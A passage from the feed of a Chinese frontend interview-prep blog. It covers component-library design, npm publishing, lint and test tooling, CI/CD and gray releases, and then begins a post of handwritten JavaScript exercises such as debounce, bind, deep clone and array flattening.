│   │       ├── index.ts           # 样式入口
│   │       └── button.scss
│   ├── theme-chalk/               # 全局样式变量
│   └── utils/                     # 内部工具
├── docs/                          # 文档站（VitePress）
├── scripts/                       # 构建脚本
└── package.json

3. 组件设计原则
   - 单一职责：一个组件只做一件事
   - Props 语义清晰：不用 v1、v2 这种命名
   - 支持插槽（slot/children）扩展
   - 支持 ref 转发（React）/ defineExpose（Vue）
   - 无障碍（ARIA 属性、键盘导航）
   - 主题变量暴露（--btn-primary-color）

4. 构建产物（三种格式）
   - ESM：dist/es/xxx.js（现代打包器）
   - CJS：dist/lib/xxx.js（Node/webpack 老项目）
   - UMD：dist/index.js（script 标签直接用）
   - 类型声明：dist/types/*.d.ts

5. 按需引入（关键！）
   - 组件独立打包，用户只 import 用到的
   - package.json 配置 sideEffects: false
   - 提供 unplugin-vue-components 自动导入插件
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// package.json 关键字段
{
  &quot;name&quot;: &quot;@myorg/ui&quot;,
  &quot;version&quot;: &quot;1.2.0&quot;,
  &quot;main&quot;: &quot;dist/lib/index.js&quot;,
  &quot;module&quot;: &quot;dist/es/index.js&quot;,
  &quot;types&quot;: &quot;dist/types/index.d.ts&quot;,
  &quot;exports&quot;: {
    &quot;.&quot;: { &quot;import&quot;: &quot;./dist/es/index.js&quot;, &quot;require&quot;: &quot;./dist/lib/index.js&quot; },
    &quot;./dist/style.css&quot;: &quot;./dist/style.css&quot;,
    &quot;./es/*&quot;: &quot;./es/*&quot;,
    &quot;./lib/*&quot;: &quot;./lib/*&quot;
  },
  &quot;sideEffects&quot;: [&quot;dist/*&quot;, &quot;es/*/style/*&quot;, &quot;lib/*/style/*&quot;],
  &quot;files&quot;: [&quot;dist&quot;, &quot;es&quot;, &quot;lib&quot;, &quot;README.md&quot;]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q7: 组件库如何做主题定制？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;方案 1：CSS 变量（推荐，运行时切换）
:root {
  --btn-primary-bg: #409eff;
  --btn-primary-color: #fff;
}
.btn-primary {
  background: var(--btn-primary-bg);
  color: var(--btn-primary-color);
}
// 用户覆盖：修改 :root 变量即可，无需重新构建
// 暗色主题：[data-theme=&quot;dark&quot;] { --btn-primary-bg: #333; }

方案 2：Sass 变量（构建时，性能最好）
// 用户在自己的项目里覆盖 $--color-primary 再引入
$--color-primary: red;
@import &quot;@myorg/ui/theme/index.scss&quot;;

方案 3：CSS-in-JS（运行时，最灵活但性能最差）
// styled-components / emotion / vanilla-extract
const Button = styled.button`
  background: ${props =&amp;gt; props.theme.primary};
`;

方案 4：设计 Token（大厂方案）
// design-tokens.json → 编译出 CSS 变量 / Sass / JS
// 好处：一份 Token 多端复用（Web / 小程序 / iOS / Android）

实践建议：
- 组件库默认 CSS 变量方案（用户改起来最方便）
- 内部使用 Sass 变量做构建时优化
- 关键 Token 命名规范化（color / spacing / radius / shadow / z-index）
- 提供在线主题编辑器（Element Plus Theme）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;npm 发包与版本管理&lt;/h2&gt;
&lt;h3&gt;Q8: npm 发包完整流程？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 初始化包
npm init --scope=@myorg    # scoped 包，组织名下

# 2. 关键字段配置（package.json）
# name / version / main / module / types / files / repository

# 3. 登录（首次）
npm login
# 私有仓库：npm login --registry=https://npm.mycompany.com

# 4. 版本号管理（SemVer）
npm version patch    # 1.0.0 → 1.0.1（bug 修复）
npm version minor    # 1.0.0 → 1.1.0（向后兼容的新功能）
npm version major    # 1.0.0 → 2.0.0（破坏性变更）
npm version prerelease --preid=beta  # 1.0.0 → 1.0.1-beta.0

# 5. 发布
npm publish                       # 正式版
npm publish --tag beta            # 测试版（用户 npm i pkg@beta 才装）
npm publish --access public       # scoped 包默认 private，加此参数改公开

# 6. 版本回退（24h 内）
npm unpublish pkg@1.0.0 --force
# 更好的方式：发布修复版 1.0.1，或用 npm deprecate 警告
npm deprecate pkg@1.0.0 &quot;critical bug, use 1.0.1&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Changesets（现代版本管理，Monorepo 首选）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. 初始化
pnpm add -Dw @changesets/cli &amp;amp;&amp;amp; pnpm changeset init

# 2. 开发完一个功能，生成变更集
pnpm changeset
# 交互式选择：哪些包变更 + patch/minor/major + 变更说明
# 会在 .changeset/ 目录生成一个 md 文件

# 3. 版本升级
pnpm changeset version
# 消费 .changeset 里的变更，自动更新各包版本号 + CHANGELOG

# 4. 发布
pnpm changeset publish

# 优势：
# - 变更集是&quot;意图&quot;，版本升级是&quot;结果&quot;，解耦
# - Monorepo 里自动处理包间依赖版本联动
# - 自动生成 CHANGELOG
# - CI 集成友好（GitHub Actions 自动发版）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q9: package.json 中 main、module、exports、types 的区别？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;main&quot;: &quot;dist/index.cjs.js&quot;,       // CJS 入口（老 webpack/node require）
  &quot;module&quot;: &quot;dist/index.esm.js&quot;,     // ESM 入口（webpack/rollup 优先，可 Tree Shaking）
  &quot;types&quot;: &quot;dist/index.d.ts&quot;,        // TypeScript 类型入口
  &quot;browser&quot;: &quot;dist/index.browser.js&quot;,// 浏览器专用（避免 node polyfill）
  &quot;unpkg&quot;: &quot;dist/index.umd.js&quot;,      // CDN script 标签直接用
  &quot;exports&quot;: {                        // Node 12.7+ 现代入口（优先级最高）
    &quot;.&quot;: {
      &quot;types&quot;: &quot;./dist/index.d.ts&quot;,
      &quot;import&quot;: &quot;./dist/index.mjs&quot;,
      &quot;require&quot;: &quot;./dist/index.cjs&quot;,
      &quot;default&quot;: &quot;./dist/index.mjs&quot;
    },
    &quot;./utils&quot;: &quot;./dist/utils/index.mjs&quot;,   // 子路径导出
    &quot;./style.css&quot;: &quot;./dist/style.css&quot;,
    &quot;./package.json&quot;: &quot;./package.json&quot;
  },
  &quot;sideEffects&quot;: false                // 无副作用，可安全 Tree Shaking
}

// exports 的优势：
// 1. 明确公开哪些路径（其他路径 import 会报错，防止用户依赖内部实现）
// 2. 支持条件导出（node/browser/import/require/types）
// 3. 更好的封装性
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;代码质量与规范&lt;/h2&gt;
&lt;h3&gt;Q10: 完整的代码质量工具链？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;提交前拦截链路：

编辑器 → ESLint（保存时自动 fix）
       ↓
git add
       ↓
husky（Git Hooks）
  ├── pre-commit → lint-staged → ESLint + Prettier（只处理暂存文件）
  ├── commit-msg → commitlint（校验提交信息规范）
  └── pre-push → 单元测试（vitest run）
       ↓
CI 流水线
  ├── 全量 lint
  ├── 全量测试 + 覆盖率
  ├── 构建产物
  └── 部署

工具职责：
- ESLint：代码质量（潜在 bug、最佳实践）
- Prettier：代码格式（换行、缩进、引号）
- Stylelint：CSS/SCSS 规范
- commitlint：提交信息规范
- husky：管理 Git Hooks
- lint-staged：只对暂存文件跑 lint（快）
- Biome：Rust 实现，一个工具替代 ESLint + Prettier（新兴）
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// lint-staged 配置（package.json）
&quot;lint-staged&quot;: {
  &quot;*.{js,jsx,ts,tsx}&quot;: [&quot;eslint --fix&quot;, &quot;prettier --write&quot;],
  &quot;*.{css,scss,vue}&quot;: [&quot;stylelint --fix&quot;, &quot;prettier --write&quot;],
  &quot;*.{md,json}&quot;: [&quot;prettier --write&quot;]
}

// Conventional Commits 规范
// feat:     新功能
// fix:      bug 修复
// docs:     文档变更
// style:    代码格式（不影响逻辑）
// refactor: 重构
// perf:     性能优化
// test:     测试
// build:    构建/依赖
// ci:       CI 配置
// chore:    其他杂项
// revert:   回滚

// 例：feat(button): 新增 loading 状态支持
// fix(utils): 修复 formatDate 时区问题 #123
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;测试&lt;/h2&gt;
&lt;h3&gt;Q11: 前端测试金字塔？各层职责？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;        /\
       /  \  E2E（10%）
      /----\   真实浏览器跑完整用户流程
     /      \  Playwright / Cypress
    /--------\
   /   集成    \  集成测试（20%）
  /    测试     \  多组件协作、组件 + 状态管理
 /--------------\  Testing Library + MSW
/   单元测试      \  单元测试（70%）
/  （最多、最快）   \  纯函数、hooks、组件独立行为
--------------------  Vitest / Jest

原则：越靠下越多、越快、越便宜；越靠上越少、越慢、越贵。
反模式：冰淇淋筒（E2E 特别多，跑得慢，维护成本高）
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// Vitest 单元测试示例（Vue 组件）
import { describe, it, expect } from &apos;vitest&apos;;
import { mount } from &apos;@vue/test-utils&apos;;
import Button from &apos;./Button.vue&apos;;

describe(&apos;Button&apos;, () =&amp;gt; {
  it(&apos;渲染默认文本&apos;, () =&amp;gt; {
    const wrapper = mount(Button);
    expect(wrapper.text()).toContain(&apos;按钮&apos;);
  });

  it(&apos;点击触发 click 事件&apos;, async () =&amp;gt; {
    const wrapper = mount(Button);
    await wrapper.trigger(&apos;click&apos;);
    expect(wrapper.emitted(&apos;click&apos;)).toHaveLength(1);
  });

  it(&apos;disabled 时不响应点击&apos;, async () =&amp;gt; {
    const wrapper = mount(Button, { props: { disabled: true } });
    await wrapper.trigger(&apos;click&apos;);
    expect(wrapper.emitted(&apos;click&apos;)).toBeUndefined();
  });
});

// Testing Library 核心理念：
// 从用户视角测试（找 role/text/label），不测实现细节
// 好处：重构不破坏测试，测试即文档
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q12: Playwright/Cypress 如何选型？E2E 测试的关键点？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Playwright（微软）：
- 支持 Chromium / Firefox / WebKit 三大内核
- 多语言（JS/TS/Python/Java/.NET）
- 内置自动等待、trace viewer（回放调试）
- 并行执行、跨浏览器测试
- 支持移动端模拟

Cypress：
- 只支持 Chromium 系（近年也支持 Firefox/WebKit 实验）
- 时间旅行调试、快照
- 生态成熟、社区大
- 运行在浏览器内，某些场景受限（多标签页、iframe）

选型建议：
- 新项目 → Playwright（更现代、更快、功能全）
- 已有 Cypress 项目 → 继续用
- 需要跨浏览器测试 → Playwright
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// Playwright 示例
import { test, expect } from &apos;@playwright/test&apos;;

test(&apos;用户登录流程&apos;, async ({ page }) =&amp;gt; {
  await page.goto(&apos;/login&apos;);
  await page.fill(&apos;[data-testid=username]&apos;, &apos;tom&apos;);
  await page.fill(&apos;[data-testid=password]&apos;, &apos;123456&apos;);
  await page.click(&apos;button[type=submit]&apos;);
  await expect(page).toHaveURL(&apos;/dashboard&apos;);
  await expect(page.locator(&apos;.welcome&apos;)).toContainText(&apos;Tom&apos;);
});

// 关键实践：
// 1. 用 data-testid 而非 CSS 选择器（不受样式重构影响）
// 2. 网络拦截 mock 后端（page.route）
// 3. 只测关键用户流程（登录、下单、支付），别贪多
// 4. 测试数据独立，每次前后清理
// 5. CI 上并行执行，本地失败自动截图 + trace
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;CI/CD 与发布&lt;/h2&gt;
&lt;h3&gt;Q13: 前端 CI/CD 流水线怎么设计？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;分支策略（Trunk-Based Development 主流）：

main（生产）
  ↑ merge / PR
develop / feature/*
  ↑ commit

流水线阶段：

1. PR 阶段（自动）
   ├─ 依赖安装（利用 pnpm store 缓存）
   ├─ 类型检查（tsc --noEmit / vue-tsc）
   ├─ Lint（eslint + prettier --check）
   ├─ 单元测试（vitest run --coverage）
   ├─ 构建（vite build）
   ├─ 产物大小检查（bundlesize / size-limit）
   └─ Preview 部署（Vercel/Netlify 预览环境）

2. Merge 到 main（自动）
   ├─ 完整测试（含 E2E）
   ├─ 构建生产包
   ├─ 上传产物到 OSS / 镜像仓库
   ├─ 部署测试环境（自动）
   └─ 通知（企微/钉钉机器人）

3. 发版到生产（手动审批 or 打 tag 触发）
   ├─ 灰度发布（先 1% → 10% → 50% → 100%）
   ├─ CDN 刷新
   ├─ 健康检查（自动化冒烟测试）
   └─ 失败自动回滚（保留上一版本产物）

关键工具：
- GitHub Actions / GitLab CI / Jenkins
- 缓存：actions/cache 缓存 node_modules、pnpm store
- 制品仓库：Nexus / Verdaccio（私有 npm）
- 部署：Docker + K8s / 静态托管（OSS + CDN）/ Vercel
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# .github/workflows/ci.yml 示例
name: CI
on: [push, pull_request]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: pnpm/action-setup@v3
        with: { version: 9 }
      - uses: actions/setup-node@v4
        with:
          node-version: 20
          cache: pnpm
      - run: pnpm install --frozen-lockfile
      - run: pnpm lint
      - run: pnpm typecheck
      - run: pnpm test --coverage
      - run: pnpm build
      - uses: actions/upload-artifact@v4
        with: { name: dist, path: dist }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q14: 灰度发布怎么做？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;灰度维度：
1. 用户维度：白名单 → 内测用户 → 部分用户 → 全量
2. 流量维度：1% → 10% → 50% → 100%
3. 地域维度：某城市 → 某区域 → 全国
4. 设备维度：某型号 → 某系统版本

实现方案：

方案 A：Nginx 层灰度（简单）
upstream backend {
  server new-version weight=1;   # 新版本 10%
  server old-version weight=9;   # 老版本 90%
}

方案 B：CDN + 版本目录
dist/
├── v1.0.0/index.html
├── v1.1.0/index.html
└── latest/ -&amp;gt; 软链切换
灰度逻辑：根据用户 ID hash 决定加载哪个版本

方案 C：客户端配置中心
- 前端启动时拉取灰度配置
- 后端根据用户特征返回是否命中新版本
- 命中则加载新 JS bundle，否则加载旧版

方案 D：特性开关（Feature Flag）
- 代码里所有新功能用 if (featureEnabled(&apos;new_ui&apos;)) 包裹
- 配置中心动态开关，无需发版
- 工具：LaunchDarkly、Unleash、自研

灰度回滚：
- 保留上一版本产物 3-7 天
- 监控错误率、崩溃率、业务指标
- 触发阈值自动回滚（如错误率 &amp;gt; 0.5%）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;前端监控与埋点&lt;/h2&gt;
&lt;h3&gt;Q15: 前端埋点方案？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;埋点分类：
1. 代码埋点（手动）：在业务代码里手动调 track()
   - 优点：精准、灵活
   - 缺点：侵入性高、易漏
2. 无埋点（全埋点）：SDK 自动采集所有点击/曝光
   - 优点：无侵入、可回溯
   - 缺点：数据量大、语义模糊
3. 可视化埋点：运营在页面上圈选元素配置事件
   - 优点：非技术人员可用
   - 缺点：需要平台支撑

主流 SDK 架构：
┌──────────────────────────────────────┐
│          前端埋点 SDK                 │
├──────────────────────────────────────┤
│ 采集层                                │
│ - 用户行为：click / scroll / route    │
│ - 性能指标：LCP / FCP / 长任务        │
│ - 错误：window.onerror / unhandled    │
│ - 接口：拦截 fetch/XHR                │
├──────────────────────────────────────┤
│ 上报层                                │
│ - navigator.sendBeacon（页面卸载）    │
│ - 批量合并 + 节流                     │
│ - requestIdleCallback 空闲上报        │
│ - 采样率控制                          │
├──────────────────────────────────────┤
│ 存储层（服务端）                       │
│ - Kafka 消息队列                      │
│ - ClickHouse / ES 存储                │
│ - 实时看板 + 离线分析                  │
└──────────────────────────────────────┘

关键实现：
- 页面访问：拦截 history.pushState / popstate / hashchange
- 元素曝光：IntersectionObserver
- 元素点击：事件委托 + 冒泡到 body 统一处理
- 页面停留：visibilitychange + beforeunload
- 用户轨迹：Session Replay（rrweb 录制 DOM 变化）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Monorepo&lt;/strong&gt;：pnpm workspace + Turborepo 主流组合，Nx 企业级&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;pnpm 优势&lt;/strong&gt;：硬链接 + 严格 node_modules，快 3 倍、省磁盘、防幽灵依赖&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;微前端方案&lt;/strong&gt;：qiankun（沙箱）、Module Federation（模块共享）、无界（iframe 强隔离）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;qiankun 原理&lt;/strong&gt;：HTML Entry + Proxy 沙箱 + 样式隔离&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;组件库设计&lt;/strong&gt;：多入口打包（ESM/CJS/UMD）+ sideEffects + 按需引入&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主题方案&lt;/strong&gt;：CSS 变量（运行时切换）&amp;gt; Sass 变量（构建时）&amp;gt; CSS-in-JS&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SemVer&lt;/strong&gt;：major.minor.patch，破坏性变更升 major&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;package.json 入口&lt;/strong&gt;：main(CJS) / module(ESM) / types / exports（现代）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代码质量链路&lt;/strong&gt;：ESLint + Prettier + husky + lint-staged + commitlint&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;测试金字塔&lt;/strong&gt;：单元 70% + 集成 20% + E2E 10%&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI/CD&lt;/strong&gt;：PR 阶段自动检查 + 主分支自动部署测试环境 + 灰度发布到生产&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;灰度&lt;/strong&gt;：Nginx 权重 / 版本目录 / 特性开关，配错误率监控自动回滚&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;埋点&lt;/strong&gt;：sendBeacon + 批量节流 + 采样率，Kafka + ClickHouse 存储&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/interview-guide-16-realtime/&quot;&gt;实时通信面试题&lt;/a&gt; 涵盖 WebSocket 协议与握手、心跳重连、SSE、WebRTC、协同编辑（OT/CRDT）、直播弹幕等场景。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/interview-guide-00-overview/&quot;&gt;面试宝典总览&lt;/a&gt; | &lt;a href=&quot;/blog/interview-guide/&quot;&gt;面试宝典合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>手写代码题专篇（笔试必考 18 题）</title><link>http://117.72.32.87/blog/posts/interview-guide-14-handwritten-code/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-14-handwritten-code/</guid><description>防抖节流、深拷贝、call/apply/bind、new、instanceof、Promise 系列、并发控制、发布订阅、数组扁平化、柯里化等笔试必考题逐行解析。</description><pubDate>Wed, 16 Sep 2026 10:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 18 道手写代码必考题，每题给出&lt;strong&gt;可运行代码 + 关键追问&lt;/strong&gt;。手写题是笔试/面试白板环节的硬通货，务必动手敲熟。难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;函数类&lt;/h2&gt;
&lt;h3&gt;T1: 手写防抖（debounce）⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 基础版
function debounce(fn, delay = 300) {
  let timer = null;
  return function (...args) {
    clearTimeout(timer);                        // 每次触发都重置计时
    timer = setTimeout(() =&amp;gt; fn.apply(this, args), delay);
  };
}

// 进阶版：立即执行 + 可取消（面试加分项）
function debounce(fn, delay = 300, immediate = false) {
  let timer = null;
  function debounced(...args) {
    if (timer) clearTimeout(timer);
    if (immediate &amp;amp;&amp;amp; !timer) {
      fn.apply(this, args);                     // 首次立即执行
      timer = setTimeout(() =&amp;gt; { timer = null; }, delay);
    } else {
      timer = setTimeout(() =&amp;gt; fn.apply(this, args), delay);
    }
  }
  debounced.cancel = () =&amp;gt; {                    // 组件卸载时可取消
    clearTimeout(timer);
    timer = null;
  };
  return debounced;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;追问：&lt;/strong&gt; 为什么要 &lt;code&gt;fn.apply(this, args)&lt;/code&gt;？—— 防抖返回的包装函数可能作为事件回调/DOM 方法调用，需要透传 this 和参数。&lt;/p&gt;
&lt;h3&gt;T2: 手写节流（throttle）⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 时间戳版（首次立即执行）
function throttle(fn, interval = 200) {
  let last = 0;
  return function (...args) {
    const now = Date.now();
    if (now - last &amp;gt;= interval) {
      last = now;
      fn.apply(this, args);
    }
  };
}

// 定时器版（停止触发后还会执行最后一次）
function throttle2(fn, interval = 200) {
  let timer = null;
  return function (...args) {
    if (timer) return;
    timer = setTimeout(() =&amp;gt; {
      timer = null;
      fn.apply(this, args);
    }, interval);
  };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;追问：&lt;/strong&gt; 时间戳版和定时器版的区别？—— 时间戳版首次立即执行、停止触发后不再执行；定时器版首次延迟执行、停止后会补最后一次。&lt;/p&gt;
&lt;h3&gt;T3: 手写 call / apply / bind ⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// call：把函数挂到目标对象上调用，this 即目标对象
Function.prototype.myCall = function (ctx, ...args) {
  if (typeof this !== &apos;function&apos;) throw new TypeError(&apos;not a function&apos;);
  ctx = ctx == null ? globalThis : Object(ctx);
  const key = Symbol(&apos;fn&apos;);           // 避免覆盖已有属性
  ctx[key] = this;
  const result = ctx[key](...args);
  delete ctx[key];
  return result;
};

// apply：同 call，参数是数组
Function.prototype.myApply = function (ctx, args = []) {
  ctx = ctx == null ? globalThis : Object(ctx);
  const key = Symbol(&apos;fn&apos;);
  ctx[key] = this;
  const result = ctx[key](...args);
  delete ctx[key];
  return result;
};

// bind：返回新函数，this 永久绑定；支持柯里化传参、new 调用
Function.prototype.myBind = function (ctx, ...preArgs) {
  const fn = this;
  function bound(...args) {
    // new bound() 时 this 是新实例，忽略 ctx
    return fn.apply(this instanceof bound ? this : ctx, [...preArgs, ...args]);
  }
  // 维护原型链：new bound() 的实例能访问原函数原型上的属性
  if (fn.prototype) {
    bound.prototype = Object.create(fn.prototype);
  }
  return bound;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;追问：&lt;/strong&gt; 原生 bind 返回的函数为什么没有 prototype？—— 规范规定 bound function 的 prototype 为 undefined，但通过原型链连接了原函数 prototype。&lt;/p&gt;
&lt;h3&gt;T4: 手写 new 操作符 ⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function myNew(Constructor, ...args) {
  // 1. 创建空对象，原型指向构造函数的 prototype
  const obj = Object.create(Constructor.prototype);
  // 2. 执行构造函数，绑定 this
  const result = Constructor.apply(obj, args);
  // 3. 构造函数返回对象则用它，否则返回新对象
  return result instanceof Object ? result : obj;
}

// 验证
function Person(name) { this.name = name; }
Person.prototype.say = function () { console.log(this.name); };
const p = myNew(Person, &apos;Tom&apos;);
p.say();  // Tom
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;追问：&lt;/strong&gt; 构造函数 return 一个对象会怎样？—— new 的结果是这个对象；return 基本类型会被忽略。&lt;/p&gt;
&lt;h3&gt;T5: 手写 instanceof ⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function myInstanceof(obj, Constructor) {
  if (obj === null || (typeof obj !== &apos;object&apos; &amp;amp;&amp;amp; typeof obj !== &apos;function&apos;)) {
    return false;                          // 基本类型直接 false
  }
  let proto = Object.getPrototypeOf(obj);
  const prototype = Constructor.prototype;
  while (proto !== null) {
    if (proto === prototype) return true;
    proto = Object.getPrototypeOf(proto);  // 沿原型链向上
  }
  return false;
}

myInstanceof([], Array);    // true
myInstanceof([], Object);   // true
myInstanceof(&apos;str&apos;, String); // false（基本类型）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;T6: 手写柯里化（curry）⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 参数够了就执行，不够就继续收集
function curry(fn) {
  return function curried(...args) {
    if (args.length &amp;gt;= fn.length) {        // fn.length = 形参个数
      return fn.apply(this, args);
    }
    return (...args2) =&amp;gt; curried.apply(this, [...args, ...args2]);
  };
}

function add(a, b, c) { return a + b + c; }
const curriedAdd = curry(add);
curriedAdd(1)(2)(3);     // 6
curriedAdd(1, 2)(3);     // 6
curriedAdd(1)(2, 3);     // 6

// 变体题：无限参数累加 add(1)(2)(3)() === 6 / add(1,2)(3) === 6
function addChain(...args) {
  const nums = [...args];
  const fn = (...more) =&amp;gt; {
    if (more.length === 0) return nums.reduce((a, b) =&amp;gt; a + b, 0);
    nums.push(...more);
    return fn;
  };
  return fn;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;对象与数组类&lt;/h2&gt;
&lt;h3&gt;T7: 手写深拷贝 ⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;function deepClone(target, map = new WeakMap()) {
  // 基本类型和函数直接返回
  if (target === null || typeof target !== &apos;object&apos;) return target;
  // 特殊内置对象
  if (target instanceof Date) return new Date(target);
  if (target instanceof RegExp) return new RegExp(target.source, target.flags);
  // 循环引用：拷贝过的直接返回缓存
  if (map.has(target)) return map.get(target);

  const result = Array.isArray(target) ? [] : {};
  map.set(target, result);                 // 先缓存再递归，解决循环引用

  for (const key of Reflect.ownKeys(target)) {   // 包含 Symbol 键
    result[key] = deepClone(target[key], map);
  }
  return result;
}

// 验证循环引用
const obj = { name: &apos;a&apos; };
obj.self = obj;
const copy = deepClone(obj);
console.log(copy.self === copy);  // true，且不栈溢出
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;追问：&lt;/strong&gt; 为什么用 WeakMap 而不是 Map？—— 弱引用，拷贝完成后键（原对象）可被 GC 回收，避免内存泄漏。&lt;/p&gt;
&lt;h3&gt;T8: 数组扁平化（flat）⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 1. 递归 + reduce
function flat(arr, depth = Infinity) {
  return arr.reduce((acc, cur) =&amp;gt; {
    if (Array.isArray(cur) &amp;amp;&amp;amp; depth &amp;gt; 0) {
      acc.push(...flat(cur, depth - 1));
    } else {
      acc.push(cur);
    }
    return acc;
  }, []);
}

// 2. 完全扁平化简洁版
const flatAll = arr =&amp;gt; arr.reduce(
  (acc, cur) =&amp;gt; acc.concat(Array.isArray(cur) ? flatAll(cur) : cur), []
);

// 3. 迭代版（不用递归，避免栈溢出）
function flatIterative(arr) {
  const stack = [...arr];
  const result = [];
  while (stack.length) {
    const item = stack.pop();
    Array.isArray(item) ? stack.push(...item) : result.unshift(item);
  }
  return result;
}

// 4. 一行版（了解即可）
const flatOneLine = arr =&amp;gt; arr.flat(Infinity);
const flatToString = arr =&amp;gt; arr.toString().split(&apos;,&apos;).map(Number); // 仅纯数字数组

flatAll([1, [2, [3, [4]]]]);  // [1, 2, 3, 4]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;T9: 手写数组去重 ⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 1. Set（最简洁，NaN 也能去重）
const unique1 = arr =&amp;gt; [...new Set(arr)];

// 2. filter + indexOf
const unique2 = arr =&amp;gt; arr.filter((item, i) =&amp;gt; arr.indexOf(item) === i);

// 3. 对象数组按 key 去重（实战常见）
function uniqueBy(arr, key) {
  const seen = new Map();
  return arr.filter(item =&amp;gt; !seen.has(item[key]) &amp;amp;&amp;amp; seen.set(item[key], true));
}
uniqueBy([{ id: 1 }, { id: 2 }, { id: 1 }], &apos;id&apos;);  // [{id:1},{id:2}]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;T10: 手写 Object.assign 的浅拷贝语义 / 对象合并 ⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 浅拷贝的常见实现（对比记忆）
const shallowClone = obj =&amp;gt; ({ ...obj });
const shallowClone2 = obj =&amp;gt; Object.assign({}, obj);

// 深合并（deepMerge，配置合并场景）
function deepMerge(target, source) {
  const result = { ...target };
  for (const key of Object.keys(source)) {
    const t = target[key], s = source[key];
    const bothObj = v =&amp;gt; v !== null &amp;amp;&amp;amp; typeof v === &apos;object&apos; &amp;amp;&amp;amp; !Array.isArray(v);
    result[key] = bothObj(t) &amp;amp;&amp;amp; bothObj(s) ? deepMerge(t, s) : s;
  }
  return result;
}
deepMerge({ a: 1, b: { x: 1 } }, { b: { y: 2 } });
// { a: 1, b: { x: 1, y: 2 } }
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Promise 与异步类&lt;/h2&gt;
